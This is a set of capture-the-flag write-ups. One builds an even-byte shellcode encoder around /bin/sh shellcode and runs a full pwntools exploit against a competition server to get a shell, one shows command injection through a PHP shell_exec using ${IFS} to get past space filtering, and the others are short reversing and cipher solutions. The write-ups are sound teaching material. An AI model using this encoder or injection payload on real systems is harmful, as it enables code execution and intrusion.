As usual, my first step is to try running the binary. The program requests some shellcode, and if I try to just enter a bunch of a's, it says Bad Character found.```knittingirl@piglet:~/CTF/metaCTF21/twos_compliment$ ./two What is your shellcode?aaaaaaaaaaaaaaaBad Character found```If I run checksec on the binary, I can see that NX is enabled. This seems odd if it is executing shellcode, so I can deduce that the program is either mmapping an RWX section of memory when it runs, or the prompt is just lying!```knittingirl@piglet:~/CTF/metaCTF21/twos_compliment$ checksec two[*] '/home/knittingirl/CTF/metaCTF21/twos_compliment/two' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled```If I open up the program in Ghidra and look at the main function, I can see that the mmapping theory is definitely corect. A 0x1000 byte-long section of memory is carved out at 0x133713370000, and it is given rwx permissions (this is determined by the 7 in the third argument, just like "chmod 777 filename" in the Linux terminal provides rwx permissions). The disassembly from there is a bit messy, but the line "(*(code *)((long)len + 0x133713370000))();" is a pretty strong indicator that it is trying to execute shellcode. It also looks like the user input is getting read into that section directly, so there is no chance of a stack-based buffer overflow.
```undefined8 main(void)
{ int iVar1; void *pvVar2; ssize_t sVar3; int shellcode_length; setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); puts("What is your shellcode?"); pvVar2 = mmap((void *)0x133713370000,0x1000,7,0x32,-1,0); if (pvVar2 != (void *)0x133713370000) { puts("mmap failed"); /* WARNING: Subroutine does not return */ exit(-1); } iVar1 = len; if (len < 0) { iVar1 = len + 7; } /* I have 0x800 of input. That should be very sufficient */ sVar3 = read(0,(void *)((long)(iVar1 >> 3) * 8 + 0x133713370000),0x800); shellcode_length = (int)sVar3; if (*(char *)((long)shellcode_length + (long)len + 0x13371336ffff) == '\n') { shellcode_length = shellcode_length + -1; *(undefined *)((long)len + (long)shellcode_length + 0x133713370000) = 0; } iVar1 = check((byte *)((long)len + 0x133713370000),shellcode_length + -1); if (iVar1 != 0) { puts("Bad Character found"); /* WARNING: Subroutine does not return */ exit(-1); } (*(code *)((long)len + 0x133713370000))(); return 0;}```Before the program tries to execute the shellcode, however, it calls the check() function on that input. If the check fails, it prints "Bad Character found" and exits, like we saw in my initial test scenario. Once it's cleaned up slightly, the check() function is fairly straightforward. It takes the shellcode that I am trying to execute and, starting from the last character, it performs a bytewise on each with 1 and checks the result. If the result is ever 1, the function returns 1, if not, it returns 0. ANDing a byte with 1 is an odd-or-even checker; bytes that produce 1 are odd, and if we look back at the main function, the check fails if it does not return 0. As a result, the shellcode that we pass to the program must consist entirely of even-numbered bytes.
```undefined8 check(byte *my_shellcode,int shellcode_length)
{ long current_byte; int i; i = shellcode_length; do { if (i < 0) { return 0; } current_byte = (long)i; i = i + -1; } while ((my_shellcode[current_byte] & 1) == 0); return 1;}```## Planning the Exploit:
My ultimate goal is to string a shellcode together that will set rax to 0x3b, rdi to a /bin/sh string, rsi and rdx to 0, and call a syscall. Most of this will require odd bytes, for example, x86-64 shellcode for syscall is '\x0f\x05', so two odd bytes.
I will note here that tools like msfvenom and pwntools do include shellcode encoders that can create shellcodes without certain bad bytes; i.e., you can generate a shellcode without any null bytes. However, I fiddled with both encoders for a bit, and I simply was not able to generate shellcodes without any of the odd-numbered bytes, probably because there were simply too many that disallowed very basic instructions like syscall.
My basic game plan was to come up with a few allowed instructions, then use them to edit various bytes within my shellcode space in order to create the instructions I want with odd bytes. One important consideration was to see what registers would contain by default when my shellcode started running; I ran the program in GDB/GEF, set a breakpoint at main+363, which is the call instruction for my shellcode, and checked the register contents. I was particularly interested by the fact that rax, rdx, and rdi contain the addresses for the start of my shellcode. As a result, my plan is to see if, with any one of the registers, I can iterate/move their values upward to point to specific spots in the shellcode chunk, as well as iterate/move the values pointed to by these registers, which will be my actual shellcode.```$rax : 0x0000133713370000 → "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"$rbx : 0x0 $rcx : 0x0 $rdx : 0x0000133713370000 → "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"$rsp : 0x00007fffffffdfa0 → 0x0000555555555330 → <__libc_csu_init+0> push r15$rbp : 0x00007fffffffdfc0 → 0x0000555555555330 → <__libc_csu_init+0> push r15$rsi : 0x1e $rdi : 0x0000133713370000 → "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"$rip : 0x000055555555531e → <main+363> call rax$r8 : 0xffffffff $r9 : 0x0 $r10 : 0x00007ffff7fef7e0 → <strcmp+2864> pxor xmm0, xmm0$r11 : 0x246 $r12 : 0x0000555555555090 → <_start+0> xor ebp, ebp$r13 : 0x0 $r14 : 0x0 $r15 : 0x0```To test instructions, I used pwntools' shellcode assembler with trial and error in a python terminal. You need to make sure that the context architecture is 'amd64', then you can try various instructions and see the results. Here is a selection of the most relevant, allowed instructions/patterns; please note that attempts to move an odd number into a register will not work, and you will be better off moving in the target value - 1, then performing an inc to iterate it up by one:```>>> from pwn import *>>> context.clear(arch='amd64')>>> asm('mov eax, 2')b'\xb8\x02\x00\x00\x00'>>> asm('mov edx, 2')b'\xba\x02\x00\x00\x00'>>> asm('mov al, 2')b'\xb0\x02'>>> asm('mov dl, 2')b'\xb2\x02'>>> asm('inc al')b'\xfe\xc0'>>> asm('inc dl')b'\xfe\xc2'>>> asm('inc BYTE PTR ds:[rax];')b'\xfe\x00'>>> asm('inc BYTE PTR ds:[rdx];')b'\xfe\x02'```As a proof of concept, I first attempted to just make a syscall to see if it would work. The basic idea is that for each odd byte in the non-workable instruction, I will instead enter in that byte - 1. Then I move the rax (or rdx) register up to the spot of shellcode where that byte is positioned, and iterate the contents up with an inc instruction. Here is the basic script to pull this off:```from pwn import *
target = process('./two')
pid = gdb.attach(target, "\nb *main+363\n set disassembly-flavor intel\ncontinue")
#target = remote('host1.metaproblems.com', 5480)
print(target.recvuntil(b'What is your shellcode?'))
context.clear(arch='amd64')
shellcode = asm('''mov al, 8;inc BYTE PTR ds:[rax];inc al;inc BYTE PTR ds:[rax];''')
#The actual syscall shellcode is b'\x0f\x05'shellcode += b'\x0e\x04'
print(shellcode)
target.sendline(shellcode)
target.interactive()```Here is what the shellcode looks like in GDB/GEF when I initially start to execute it:``` → 0x133713370000 mov al, 0x8 0x133713370002 inc BYTE PTR [rax] 0x133713370004 inc al 0x133713370006 inc BYTE PTR [rax] 0x133713370008 (bad) 0x133713370009 add al, 0x0```And here it appears after both inc's have been performed:``` → 0x133713370008 syscall 0x13371337000a add BYTE PTR [rax], al 0x13371337000c add BYTE PTR [rax], al```I can effectively write whatever shellcode I want at this point, albeit it in a slightly more time-consuming fashion.
## Writing the Exploit:
During the competition window, I manually put together each instruction in a very similar manner to that described above for the syscall. I also designed my own binsh shellcode to include as few odd bytes as possible. However, I have since written a helper function in an attempt to streamline the process and make it easier to encode arbitrary shellcode in this and similar fashions.
The basic idea is to create an encoding function in python to automatically scan through any provided shellcode, pick out odd bytes, switch them to smaller, even bytes, and place some appropriate encoding shellcode at the beginning in order to bring rax up to the byte and add one to the contents during run-time. I also place a padding of nops in between the end of my encoding shellcode and the beginning of my binsh shellcode in order to start the binsh shellcode at a consistent location and make the function easier to write. I could probably do without this padding if length constraints were tighter, but as it stands, I have more than enough space and it made the encoding function easier to write.
This encoding function could easily deal with longer and more complicated shellcode, as long as it fits within the desired parameters. I could also optimize it further to include less unnecessary mov instructions, automatically come up with smaller NOP offsets, and more, but for the purposes of this exercise, it works really well, and it could probably be edited to work with different shellcode restrictions.
Here is the actual final script:```from pwn import *
#target = process('./two')
#pid = gdb.attach(target, "\nb *main+363\n set disassembly-flavor intel\ncontinue")
target = remote('host1.metaproblems.com', 5480)
print(target.recvuntil(b'What is your shellcode?'))
context.clear(arch='amd64')
def encode(goal_shellcode, starting_position): evened_shellcode = b'' encoder_shellcode = b'' current_position = starting_position for i in range(len(goal_shellcode)): current_byte_num = goal_shellcode[i] if current_byte_num % 2 == 1: evened_shellcode += (current_byte_num - 1).to_bytes(1, 'little') if current_position % 2 == 0: encoder_shellcode += asm('mov al, ' + str(current_position) + '''; inc BYTE PTR ds:[rax];''') else: encoder_shellcode += asm('mov al, ' + str(current_position - 1) + '''; inc al; inc BYTE PTR ds:[rax];''') else: evened_shellcode += goal_shellcode[i].to_bytes(1, 'little') current_position += 1 final_shellcode = encoder_shellcode + asm('NOP;') * (starting_position - len(encoder_shellcode)) + evened_shellcode return final_shellcode
starting_position = 0x80
#Credit to http://shell-storm.org/shellcode/files/shellcode-806.php for the pre-prepared binsh shellcode.goal_shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
shellcode = encode(goal_shellcode, starting_position)
print(shellcode)print(disasm(shellcode))
target.sendline(shellcode)
target.interactive()```And here is the output, with some of the disassembled NOPs removed for clarity:```knittingirl@piglet:~/CTF/metaCTF21/twos_compliment$ python3 two_compliment_writeup.py [+] Opening connection to host1.metaproblems.com on port 5480: Doneb'What is your shellcode?'b'\xb0\x80\xfe\x00\xb0\x82\xfe\xc0\xfe\x00\xb0\x84\xfe\x00\xb0\x84\xfe\xc0\xfe\x00\xb0\x86\xfe\xc0\xfe\x00\xb0\x8a\xfe\x00\xb0\x8a\xfe\xc0\xfe\x00\xb0\x8c\xfe\xc0\xfe\x00\xb0\x8e\xfe\x00\xb0\x8e\xfe\xc0\xfe\x00\xb0\x90\xfe\xc0\xfe\x00\xb0\x92\xfe\x00\xb0\x94\xfe\x00\xb0\x98\xfe\x00\xb0\x98\xfe\xc0\xfe\x00\xb0\x9a\xfe\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x900\xc0H\xba\xd0\x9c\x96\x90\xd0\x8c\x96\xfeH\xf6\xdaRT^\x98RVT^\xb0:\x0e\x04' 0: b0 80 mov al, 0x80 2: fe 00 inc BYTE PTR [rax] 4: b0 82 mov al, 0x82 6: fe c0 inc al 8: fe 00 inc BYTE PTR [rax] a: b0 84 mov al, 0x84 c: fe 00 inc BYTE PTR [rax] e: b0 84 mov al, 0x84 10: fe c0 inc al 12: fe 00 inc BYTE PTR [rax] 14: b0 86 mov al, 0x86 16: fe c0 inc al 18: fe 00 inc BYTE PTR [rax] 1a: b0 8a mov al, 0x8a 1c: fe 00 inc BYTE PTR [rax] 1e: b0 8a mov al, 0x8a 20: fe c0 inc al 22: fe 00 inc BYTE PTR [rax] 24: b0 8c mov al, 0x8c 26: fe c0 inc al 28: fe 00 inc BYTE PTR [rax] 2a: b0 8e mov al, 0x8e 2c: fe 00 inc BYTE PTR [rax] 2e: b0 8e mov al, 0x8e 30: fe c0 inc al 32: fe 00 inc BYTE PTR [rax] 34: b0 90 mov al, 0x90 36: fe c0 inc al 38: fe 00 inc BYTE PTR [rax] 3a: b0 92 mov al, 0x92 3c: fe 00 inc BYTE PTR [rax] 3e: b0 94 mov al, 0x94 40: fe 00 inc BYTE PTR [rax] 42: b0 98 mov al, 0x98 44: fe 00 inc BYTE PTR [rax] 46: b0 98 mov al, 0x98 48: fe c0 inc al 4a: fe 00 inc BYTE PTR [rax] 4c: b0 9a mov al, 0x9a 4e: fe 00 inc BYTE PTR [rax] 50: 90 nop... 7f: 90 nop 80: 30 c0 xor al, al 82: 48 ba d0 9c 96 90 d0 movabs rdx, 0xfe968cd090969cd0 89: 8c 96 fe 8c: 48 f6 da rex.W neg dl 8f: 52 push rdx 90: 54 push rsp 91: 5e pop rsi 92: 98 cwde 93: 52 push rdx 94: 56 push rsi 95: 54 push rsp 96: 5e pop rsi 97: b0 3a mov al, 0x3a 99: 0e (bad) 9a: 04 .byte 0x4[*] Switching to interactive mode
$ lsflag.txttwotwo.sh$ cat flag.txtMetaCTF{eVEn_evEN_8y7e5_c4N_re4cH_0Dd_Re9157eRs}$ ```Thanks for reading! |
Integer logic vulnerability overflows integer and results in free money:
Writeup: [https://ctf.rip/write-ups/pwn/metared-maradona123/#maradona1](https://ctf.rip/write-ups/pwn/metared-maradona123/#maradona1) |
# Cyber Santa is Coming to Town: Gadget Santa
 
  
## Description
> It seems that the evil elves have broken the controller gadget for the good old candy cane factory! Can you team up with the real red teamer Santa to hack back?
## Attached Files
- web_gadget_santa.zip
A Zip file containing the full docker source code.
## Summary
We use a vulnerability in the way commands are handled to execute custom commands we pass. Using that we can read the flag, we get from an endpoint of an http server.
## Flag
```HTB{54nt4_i5_th3_r34l_r3d_t34m3r}```
## Detailed Solution
Upon opening the Website we are greeted with a Monitor with some options we can click.
Clicking on one of the buttons gives us an output and shows us the url, where we can see the command being passed.
Taking a look at the source Code, we can see the how the commands are parsed:
```jspublic function index($router){ $command = isset($_GET['command']) ? $_GET['command'] : 'welcome'; $monitor = new MonitorModel($command); return $router->view('index', ['output' => $monitor->getOutput()]);}```
```jsclass MonitorModel{ public function __construct($command) { $this->command = $this->sanitize($command); }
public function sanitize($command) { $command = preg_replace('/\s+/', '', $command); return $command; }
public function getOutput() { return shell_exec('/santa_mon.sh '.$this->command); }}```
The script takes the command, sanitizes it, which removes any space characters and passes it on to a shell script.Taking a look at the shell script, doesn't give us any hints. But we can also find a python script called `ups_manager.py`, which hosts a http server on port 3000. And here we find an interesting endpoint:
```pyelif self.path == '/get_flag': resp_ok() self.wfile.write(get_json({'status': 'HTB{f4k3_fl4g_f0r_t3st1ng}'})) return```
This means we need to access `localhost:3000/get_flag` to receive the flag.Now it's time to exploit the `shell_exec` used in the MonitorModel. We craft a simple URL, which should print us the flag:
```/?command=ups_status;curl localhost:3000/get_flag```
There is only one problem. We can't use space characters, as the sanitization removes those.We can bypass this by using `${IFS}`, which is a linux shell variable for the space character. And it works!
This way we can just read our flag from the monitor screen `HTB{54nt4_i5_th3_r34l_r3d_t34m3r}`! |
A fun custom virtual machine where we used z3 to reconstruct flags (and passwords).Find the full writeup at: https://saarsec.rocks/2021/11/30/proctf-cells.html |
Unpack binary with UPX and reverse engineer in ghidra to identify the XOR operation on the flag. Solve with GDB + Cyber-Chef.
Full video walkthrough: https://www.youtube.com/watch?v=deg0CQwwN-M&t=1523s |
# MetaCTF 2021## A to Z (100pts)### Description: >This encrypted flag will only require a simple substitution cipher to solve. Rearrange the letters from A to Z. `yzhsufo_rh_nb_uze_wdziu`
### Step 1 - Identify the Cipher (Or Don't?):When a cipher appears to be a quick substitution, like this one, I use [this site](http://theblob.org/rot.cgi) to test out all possible letter shifts. It's more effective than other tools in my opinion and more legible than dCode is.
```javascriptROT-0: yzhsufo_rh_nb_uze_wdziuROT-1: zaitvgp_si_oc_vaf_xeajvROT-2: abjuwhq_tj_pd_wbg_yfbkwROT-3: bckvxir_uk_qe_xch_zgclxROT-4: cdlwyjs_vl_rf_ydi_ahdmyROT-5: demxzkt_wm_sg_zej_bienzROT-6: efnyalu_xn_th_afk_cjfoaROT-7: fgozbmv_yo_ui_bgl_dkgpbROT-8: ghpacnw_zp_vj_chm_elhqcROT-9: hiqbdox_aq_wk_din_fmirdROT-10: ijrcepy_br_xl_ejo_gnjseROT-11: jksdfqz_cs_ym_fkp_hoktfROT-12: kltegra_dt_zn_glq_iplugROT-13: lmufhsb_eu_ao_hmr_jqmvhROT-14: mnvgitc_fv_bp_ins_krnwiROT-15: nowhjud_gw_cq_jot_lsoxjROT-16: opxikve_hx_dr_kpu_mtpykROT-17: pqyjlwf_iy_es_lqv_nuqzlROT-18: qrzkmxg_jz_ft_mrw_ovramROT-19: rsalnyh_ka_gu_nsx_pwsbnROT-20: stbmozi_lb_hv_oty_qxtcoROT-21: tucnpaj_mc_iw_puz_ryudpROT-22: uvdoqbk_nd_jx_qva_szveqROT-23: vweprcl_oe_ky_rwb_tawfrROT-24: wxfqsdm_pf_lz_sxc_ubxgsROT-25: xygrten_qg_ma_tyd_vcyht```Unfortunately, none of these look to be the answer. In this case, I resort to one last substitution cipher before looking at crazy attacks: Atbash.
### Step 2 - Atbash Attack:Knowing different types of ciphers and being able to execute them is part of a cryptographer's toolkit. I found Atbash long ago and reference it when I'm in need of a substitution cipher. There's no easy way to identify it, but it should be tried when dealing with substitution.Sure enough, using [CyberChef](https://gchq.github.io/CyberChef/) with an Atbash recipe will output the flag.
For those completely unfamiliar with how to determine what ciphers to use, resources like [this list](http://practicalcryptography.com/ciphers/substitution-category/) of substitution ciphers would be a good place to start. Testing all of them wouldn't hurt.
<details> <summary> Flag Spoiler </summary> bashful_is_my_fav_dwarf</details>
## Learning TakeawaysWe learned that there are many different types of substitution ciphers besides ROT and Caesar. By finding resources on ciphers, we can build out our own toolkits to identify ciphers in the future and spend less time guessing. |
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